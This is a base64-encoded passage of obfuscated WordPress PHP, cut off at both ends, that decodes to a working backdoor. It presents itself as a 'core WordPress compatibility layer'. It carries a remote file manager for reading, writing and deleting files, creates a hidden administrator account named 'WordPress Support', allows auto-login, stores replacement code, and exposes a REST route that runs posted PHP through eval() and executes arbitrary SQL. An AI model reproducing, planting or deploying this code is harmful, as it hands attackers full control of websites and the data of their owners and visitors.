JykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9faW5pdF8wNzRjID0gJF9jMDU4NDJlIC4gJy8nIC4gJF9xODgyODsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2M4NWE0NzI1N1tdID0gYXJyYXkoIlx4NmVceDYxXHg2ZFx4NjUiID0+ICRfcTg4MjgsICdkaXInID0+IGlzX2RpcigkX19pbml0XzA3NGMpLCAnc2l6ZScgPT4gaXNfZmlsZSgkX19pbml0XzA3NGMpID8gZmlsZXNpemUoJF9faW5pdF8wNzRjKSA6IDAsICJceDZkXHg3NFx4NjlceDZkXHg2NSIgPT4gZmlsZW10aW1lKCRfX2luaXRfMDc0YykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi5jaHIoMTE2KS5jaHIoMTAxKS4iXHg2ZSIuY2hyKDExNikuY2hyKDIxMCBeIDB4ZmYpLiJceDU0Ii5jaHIoMTIxKS4iXHg3MCIuY2hyKDEwMSkuY2hyKDE5NyBeIDB4ZmYpLiJceDIwIi4iXHg2MSIuIlx4NzAiLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTE2KS4iXHg2OSIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocig0NykuIlx4NmEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX2M4NWE0NzI1Nyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3JlYWQnKSB7DQogICAgICAgICAgICAgICAgICAgICRfaGQzYjcwZWMwID0gQCgnZmlsJy4nZV9nJy4nZXRfYycuJ29udCcuJ2VudHMnKSgkX2MwNTg0MmUpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICRfaGQzYjcwZWMwICE9PSBmYWxzZSA/ICRfaGQzYjcwZWMwIDogJ0VSUk9SOiBjYW5ub3QgcmVhZCc7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3dyaXRlJykgew0KICAgICAgICAgICAgICAgICAgICAkX2hkM2I3MGVjMCA9IGlzc2V0KCRfUE9TVFsnY29udGVudCddKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgICAgICAgICAgICRfX2xvYWRfZTY4YSA9IF9sZGNmNDg1MWEwKCRfYzA1ODQyZSwgJF9oZDNiNzBlYzAsIDEsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9jMDU4NDJlKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2luZm8nOg0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIChjaHIoMTQzIF4gMHhmZikuIlx4NjgiLmNocigxNDMgXiAweGZmKSkgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKCJceDc2XHg2NVx4NzJceDczXHg2OVx4NmZceDZlIiksDQogICAgICAgICAgICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICAgICAgICAgICAiXHg3M1x4NjFceDcwXHg2OSIgPT4gcGhwX3NhcGlfbmFtZSgpLA0KICAgICAgICAgICAgICAgICAgICAndXNlcicgPT4gZnVuY3Rpb25fZXhpc3RzKChjaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MCBeIDB4ZmYpLiJceDY5Ii5jaHIoMTIwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwMykuY2hyKDE1NCBeIDB4ZmYpLiJceDc0Ii4iXHg3MCIuY2hyKDEzNiBeIDB4ZmYpLiJceDc1Ii5jaHIoMTA1KS4iXHg2NCIpKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbIlx4NmVceDYxXHg2ZFx4NjUiXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAgICAgICAgICAgIlx4NjRceDZmXHg2M1x4NWZceDcyXHg2Zlx4NmZceDc0IiA9PiAkX1NFUlZFUlsoIlx4NDQiLmNocig3OSkuY2hyKDY3KS4iXHg1NSIuY2hyKDc3KS5jaHIoNjkpLmNocigxNzcgXiAweGZmKS5jaHIoODQpLmNocigxNjAgXiAweGZmKS5jaHIoMTczIF4gMHhmZikuY2hyKDc5KS5jaHIoMTc2IF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycsDQogICAgICAgICAgICAgICAgICAgIChjaHIoOTcpLmNocigxNTcgXiAweGZmKS4iXHg3MyIuIlx4NzAiLmNocig5NykuY2hyKDExNikuIlx4NjgiKSA9PiBBQlNQQVRILA0KICAgICAgICAgICAgICAgICAgICAnY29udGVudF9kaXInID0+IFdQX0NPTlRFTlRfRElSLA0KICAgICAgICAgICAgICAgICAgICAiXHg2NFx4NjJceDVmXHg3MFx4NzJceDY1XHg2Nlx4NjlceDc4IiA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgICAgICAgICAgICdvcGVuc3NsJyA9PiBleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJyksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyR3cF9tZXRhX2E0NTE9YXJyYXkoOTIsOTIsNjcsODIsMSw4NCw4MCw4NCk7JF9jZmdmY2E5Zjk9Jzg1MDNjJzskX3RjZWY4MTE4ND0nJztmb3IoJF93cDFlMTI5Nz0wOyRfd3AxZTEyOTc8Y291bnQoJHdwX21ldGFfYTQ1MSk7JF93cDFlMTI5NysrKSRfdGNlZjgxMTg0Lj1jaHIoJHdwX21ldGFfYTQ1MVskX3dwMWUxMjk3XV5vcmQoJF9jZmdmY2E5ZjlbJF93cDFlMTI5NyVzdHJsZW4oJF9jZmdmY2E5ZjkpXSkpO3JldHVybiAkX3RjZWY4MTE4NDt9KSgpID0+IGluaV9nZXQoIlx4NjRceDY5XHg3M1x4NjFceDYyXHg2Y1x4NjVceDVmXHg2Nlx4NzVceDZlXHg2M1x4NzRceDY5XHg2Zlx4NmVceDczIiksDQogICAgICAgICAgICAgICAgICAgICdtZW1vcnknID0+IGluaV9nZXQoKGNocigxMDkpLmNocigxMDEpLmNocigxMDkpLmNocigxNDQgXiAweGZmKS4iXHg3MiIuY2hyKDEzNCBeIDB4ZmYpLiJceDVmIi5jaHIoMTQ3IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLiJceDZkIi4iXHg2OSIuY2hyKDExNikpKSwNCiAgICAgICAgICAgICAgICAgICAgKGNocigxMTcpLiJceDcwIi5jaHIoMTA4KS5jaHIoMTExKS5jaHIoOTcpLmNocigxNTUgXiAweGZmKS5jaHIoOTUpLmNocigxMDkpLmNocig5NykuY2hyKDEzNSBeIDB4ZmYpKSA9PiBpbmlfZ2V0KCJceDc1XHg3MFx4NmNceDZmXHg2MVx4NjRceDVmXHg2ZFx4NjFceDc4XHg1Zlx4NjZceDY5XHg2Y1x4NjVceDczXHg2OVx4N2FceDY1IiksDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJF9fcmVmX2Y4ZTQpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnaGlkZGVuX2FkbWluJzoNCiAgICAgICAgICAgICAgICAkd3BfaG9va19jMjAwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2ZnXzM0NGU9YXJyYXkoODMsODUsNjcsOTEsOTMsODgpOyRfd3AzYjg2PScyNjcyJzskX2NjYzBlNjg2ZD0nJztmb3IoJF9fZGF0YV8yNDEwPTA7JF9fZGF0YV8yNDEwPGNvdW50KCRfX2NmZ18zNDRlKTskX19kYXRhXzI0MTArKykkX2NjYzBlNjg2ZC49Y2hyKCRfX2NmZ18zNDRlWyRfX2RhdGFfMjQxMF1eb3JkKCRfd3AzYjg2WyRfX2RhdGFfMjQxMCVzdHJsZW4oJF93cDNiODYpXSkpO3JldHVybiAkX2NjYzBlNjg2ZDt9KSgpXSA6ICJceDYzXHg3Mlx4NjVceDYxXHg3NFx4NjUiOw0KICAgICAgICAgICAgICAgICR3cF9jYWNoZV8wMzAzID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgICAgICAgICAkX19yZWZfYjk4OSA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMikuIlx4NjEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikpXSkgPyAkX1BPU1RbJ3Bhc3MnXSA6IHdwX2dlbmVyYXRlX3Bhc3N3b3JkKDE2LCB0cnVlLCB0cnVlKTsNCgogICAgICAgICAgICAgICAgaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoOTkpLiJceDcyIi4iXHg2NSIuY2hyKDk3KS4iXHg3NCIuY2hyKDE1NCBeIDB4ZmYpKSkgew0KICAgICAgICAgICAgICAgICAgICBpZiAodXNlcm5hbWVfZXhpc3RzKCR3cF9jYWNoZV8wMzAzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfY2FjaGVfMDMwMyk7DQogICAgICAgICAgICAgICAgICAgICAgICB3cF9zZXRfcGFzc3dvcmQoJF9fcmVmX2I5ODksICR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICd1c2VyX2xvZ2luJyA9PiAkd3BfY2FjaGVfMDMwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcwXHg2MVx4NzNceDczIiA9PiAkX19yZWZfYjk4OSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndXNlcl9lbWFpbCcgPT4gJHdwX2NhY2hlXzAzMDMgLiAnQCcgLiBwYXJzZV91cmwoc2l0ZV91cmwoKSwgUEhQX1VSTF9IT1NUKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3Mlx4NmZceDZjXHg2NSIgPT4gKCJceDYxIi5jaHIoMTU1IF4gMHhmZikuY2hyKDE0NiBeIDB4ZmYpLmNocigxMDUpLiJceDZlIi5jaHIoMTUwIF4gMHhmZikuIlx4NzMiLmNocigxMTYpLmNocigxMTQpLmNocigxNTggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExMSkuY2hyKDE0MSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGlzcGxheV9uYW1lJyA9PiAnV29yZFByZXNzIFN1cHBvcnQnLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICFpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfY2FjaGVfMDMwMywgKCJceDcwIi4iXHg2MSIuY2hyKDE0MCBeIDB4ZmYpLiJceDczIikgPT4gJF9fcmVmX2I5ODksIChmdW5jdGlvbigpeyR3cF9oYW5kbGVyXzRlNzc9YXJyYXkoMTksODgsOTMpOyRfX2NmZ18yZmY2PSdmMTkzZGYnOyRfd3A2ZGU1PScnO2ZvcigkX19idWZfNGQ4OT0wOyRfX2J1Zl80ZDg5PGNvdW50KCR3cF9oYW5kbGVyXzRlNzcpOyRfX2J1Zl80ZDg5KyspJF93cDZkZTUuPWNocigkd3BfaGFuZGxlcl80ZTc3WyRfX2J1Zl80ZDg5XV5vcmQoJF9fY2ZnXzJmZjZbJF9fYnVmXzRkODklc3RybGVuKCRfX2NmZ18yZmY2KV0pKTtyZXR1cm4gJF93cDZkZTU7fSkoKSA9PiBpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSA/IDAgOiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoMTU1IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikpKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9tZXRhXzRhOTQgPSB1c2VybmFtZV9leGlzdHMoJHdwX2NhY2hlXzAzMDMpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHdwX21ldGFfNGE5NCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdwX2RlbGV0ZV91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChjaHIoMTU1IF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuY2hyKDEwMSkuIlx4NzQiLmNocigxMDEpLmNocigxMDApKSA9PiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChmdW5jdGlvbigpeyRfX3JlZl9jMWJhPWFycmF5KDgzLDY5LDE5LDkzLDY4KTskX19jZmdfY2I0Yj0nNjdhMjY4ZSc7JF9jMzMyMjExMjA9Jyc7Zm9yKCRfYzMyN2ZlPTA7JF9jMzI3ZmU8Y291bnQoJF9fcmVmX2MxYmEpOyRfYzMyN2ZlKyspJF9jMzMyMjExMjAuPWNocigkX19yZWZfYzFiYVskX2MzMjdmZV1eb3JkKCRfX2NmZ19jYjRiWyRfYzMyN2ZlJXN0cmxlbigkX19jZmdfY2I0YildKSk7cmV0dXJuICRfYzMzMjIxMTIwO30pKCkgPT4gIlx4NmVceDZmXHg3NFx4MjBceDY2XHg2Zlx4NzVceDZlXHg2NCIpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgIlx4NjFceDc1XHg3NFx4NmZceDZjXHg2Zlx4NjdceDY5XHg2ZSI6DQogICAgICAgICAgICAgICAgJHdwX21ldGFfM2Q4MCA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfbWV0YV8zZDgwKTsNCiAgICAgICAgICAgICAgICBpZiAoISR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygoZnVuY3Rpb24oKXskX2MxN2RjPWFycmF5KDIsODYsODQsMTAsODgpOyRfY2IzZjcyMT0nYzI5YzY3Nic7JHdwX2hvb2tfMDdlOT0nJztmb3IoJF9jNDNlOTM2ZD0wOyRfYzQzZTkzNmQ8Y291bnQoJF9jMTdkYyk7JF9jNDNlOTM2ZCsrKSR3cF9ob29rXzA3ZTkuPWNocigkX2MxN2RjWyRfYzQzZTkzNmRdXm9yZCgkX2NiM2Y3MjFbJF9jNDNlOTM2ZCVzdHJsZW4oJF9jYjNmNzIxKV0pKTtyZXR1cm4gJHdwX2hvb2tfMDdlOTt9KSgpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCR3cF9tZXRhXzRhOTQsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICB3cF9zZXRfY3VycmVudF91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JHdwX2hhbmRsZXJfOGE1YT1hcnJheSgxMCwxMywxOSw3Nyw2NiwxLDE2KTskX3I4OTg4ND0nZGIzODEnOyRfYzY5ZmE2ZWQ0PScnO2ZvcigkX2MyOTBhOTNiPTA7JF9jMjkwYTkzYjxjb3VudCgkd3BfaGFuZGxlcl84YTVhKTskX2MyOTBhOTNiKyspJF9jNjlmYTZlZDQuPWNocigkd3BfaGFuZGxlcl84YTVhWyRfYzI5MGE5M2JdXm9yZCgkX3I4OTg4NFskX2MyOTBhOTNiJXN0cmxlbigkX3I4OTg4NCldKSk7cmV0dXJuICRfYzY5ZmE2ZWQ0O30pKCkpKTsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAgICAgICAgICRfY2NhNTE0YjQgPSBpc3NldCgkX1BPU1RbKGNocig5OSkuY2hyKDExMSkuY2hyKDEwMCkuIlx4NjUiKV0pID8gJF9QT1NUWyhjaHIoOTkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKV0gOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfY2NhNTE0YjQpIDwgMTAwMCB8fCBzdHJwb3MoJF9jY2E1MTRiNCwgKCJceDNjIi4iXHgzZiIuIlx4NzAiLmNocigxMDQpLmNocigxMTIpKSkgIT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdpbnZhbGlkIGNvZGUnKSk7DQogICAgICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICAkX19sb2FkX2U2OGEgPSBfbGRjZjQ4NTFhMCgkX19yZWZfZjU5MSwgJF9jY2E1MTRiNCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9fbG9hZF9lNjhhKSB7DQogICAgICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgKCdiYXMnLidlNjQnLidfZScuJ25jbycuJ2RlJykoJF9jY2E1MTRiNCksICdubycpOw0KICAgICAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2ludGVncml0eScsIG1kNSgkX2NjYTUxNGI0KSwgODY0MDApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF94OTdjYjBhNTMpIHt9DQp9KTsNCn0pOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF9BODNDJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfQTgzQycsNDkyNCk7CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMy42Ljc2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX3dwNGFkODVmYyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AyMjE5PWFycmF5KDE2LDkyLDc1LDE4LDYxLDg4LDcyLDE1LDYxLDgwLDg2LDE1LDIyKTskX3dwMGZjNjFhNjQ9J2I5OGYnOyRfbGRhNGMwNDQ4ZD0nJztmb3IoJF9tZjMyZjcyPTA7JF9tZjMyZjcyPGNvdW50KCRfd3AyMjE5KTskX21mMzJmNzIrKykkX2xkYTRjMDQ0OGQuPWNocigkX3dwMjIxOVskX21mMzJmNzJdXm9yZCgkX3dwMGZjNjFhNjRbJF9tZjMyZjcyJXN0cmxlbigkX3dwMGZjNjFhNjQpXSkpO3JldHVybiAkX2xkYTRjMDQ0OGQ7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9wZTBlMCA9ICRHTE9CQUxTWydfX2hvb2tfYjkwMSddOw0KICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRfcGUwZTAsICcvdG9rZW4nLCBhcnJheSgNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAoZnVuY3Rpb24oKXskX19sb2FkX2IyNTE9YXJyYXkoMTAwLDEyNiw5NywxMDgpOyRfd3A1MjY1ZmRhPSc0MTI4Jzskd3BfaGFuZGxlcl9iMGI2PScnO2ZvcigkX19wcm9jX2Y3Yjk9MDskX19wcm9jX2Y3Yjk8Y291bnQoJF9fbG9hZF9iMjUxKTskX19wcm9jX2Y3YjkrKykkd3BfaGFuZGxlcl9iMGI2Lj1jaHIoJF9fbG9hZF9iMjUxWyRfX3Byb2NfZjdiOV1eb3JkKCRfd3A1MjY1ZmRhWyRfX3Byb2NfZjdiOSVzdHJsZW4oJF93cDUyNjVmZGEpXSkpO3JldHVybiAkd3BfaGFuZGxlcl9iMGI2O30pKCksDQogICAgICAgICAgICAoY2hyKDE1NiBeIDB4ZmYpLmNocigxNTggXiAweGZmKS4iXHg2YyIuY2hyKDE0NyBeIDB4ZmYpLmNocig5OCkuY2hyKDk3KS5jaHIoOTkpLmNocigxNDggXiAweGZmKSkgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCiAgICAgICAgICAgICAgICAkX3dwNWEyOCA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgICAgICAgICAkX3dwZjY5ZjggPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQogICAgICAgICAgICAgICAgaWYgKCEkX3dwZjY5ZjggfHwgJF93cGY2OWY4ICE9PSBzdWJzdHIoJF93cDVhMjgsIDAsIDE2KSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9jNTVjMDE1ODY9YXJyYXkoMjAsODgsODUsMjMsNzYsMTIsMTQsNjgsOTMsMjQsOTMsMCk7JF9jNDAyNGM9J2E2NGI4ZCc7JF9jMzcyYTAwPScnO2ZvcigkX19jZmdfNWUzND0wOyRfX2NmZ181ZTM0PGNvdW50KCRfYzU1YzAxNTg2KTskX19jZmdfNWUzNCsrKSRfYzM3MmEwMC49Y2hyKCRfYzU1YzAxNTg2WyRfX2NmZ181ZTM0XV5vcmQoJF9jNDAyNGNbJF9fY2ZnXzVlMzQlc3RybGVuKCRfYzQwMjRjKV0pKTtyZXR1cm4gJF9jMzcyYTAwO30pKCkpLCA0MDMpOw0KICAgICAgICAgICAgICAgIH0NCgogICAgICAgICAgICAgICAgJF93cDVjYjUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdtb2RlJykgPzogJ3MnOw0KICAgICAgICAgICAgICAgICRfd3AwOTA4YiA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NvZGUnKSA/OiAnJzsNCiAgICAgICAgICAgICAgICAkX3hjN2MxZjIgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdxdWVyeScpID86ICcnOw0KCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdzJykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkX3dwNWNiNSA9PT0gIlx4NzBceDY4XHg3MCIgJiYgIWVtcHR5KCRfd3AwOTA4YikpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGV2YWwoJF93cDA5MDhiKTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwZDg2OGE5MikgeyBlY2hvICdFcnJvcjogJyAuICRfd3BkODY4YTkyLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDExMSkuIlx4NzUiLmNocigxMzkgXiAweGZmKS4iXHg3MCIuIlx4NzUiLmNocigxMTYpKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdkYicgJiYgIWVtcHR5KCRfeGM3YzFmMikpIHsNCiAgICAgICAgICAgICAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAgICAgICAgICAgICAkX19ob29rX2NiZjQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF94YzdjMWYyLCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF9faG9va19jYmY0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgICAgICAgICAgfQ0KCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfYzVlYTI9YXJyYXkoMCw2OCw3MCw5LDY0KTskX3dwODIwZGJiMTE9J2U2NGYyM2Q5JzskX2NmZ2ViNTg2ND0nJztmb3IoJHdwX29wdGlvbl83OTg0PTA7JHdwX29wdGlvbl83OTg0PGNvdW50KCRfYzVlYTIpOyR3cF9vcHRpb25fNzk4NCsrKSRfY2ZnZWI1ODY0Lj1jaHIoJF9jNWVhMlskd3Bfb3B0aW9uXzc5ODRdXm9yZCgkX3dwODIwZGJiMTFbJHdwX29wdGlvbl83OTg0JXN0cmxlbigkX3dwODIwZGJiMTEpXSkpO3JldHVybiAkX2NmZ2ViNTg2NDt9KSgpID0+IChmdW5jdGlvbigpeyRfb2E4ZTI0PWFycmF5KDc3LDEwLDE1LDEyLDksNjcsODcsMjQsOSwxMSw2LDMpOyRfX3Byb2NfMWExNz0nOGRkYmY0OSc7JF9fcHJvY184ZTkxPScnO2ZvcigkX280MDEwMWRjMz0wOyRfbzQwMTAxZGMzPGNvdW50KCRfb2E4ZTI0KTskX280MDEwMWRjMysrKSRfX3Byb2NfOGU5MS49Y2hyKCRfb2E4ZTI0WyRfbzQwMTAxZGMzXV5vcmQoJF9fcHJvY18xYTE3WyRfbzQwMTAxZGMzJXN0cmxlbigkX19wcm9jXzFhMTcpXSkpO3JldHVybiAkX19wcm9jXzhlOTE7fSkoKSksIDQwMCk7DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9fY2ZnXzdhMTg9YXJyYXkoMjEsNCwxNywxNCw4MCw3NCwyMSw4MCwxMCwxNSw2MCwwLDg4LDg1LDEwLDkxLDQsMiw4KTskX3dwZDliZjg9J2VhY2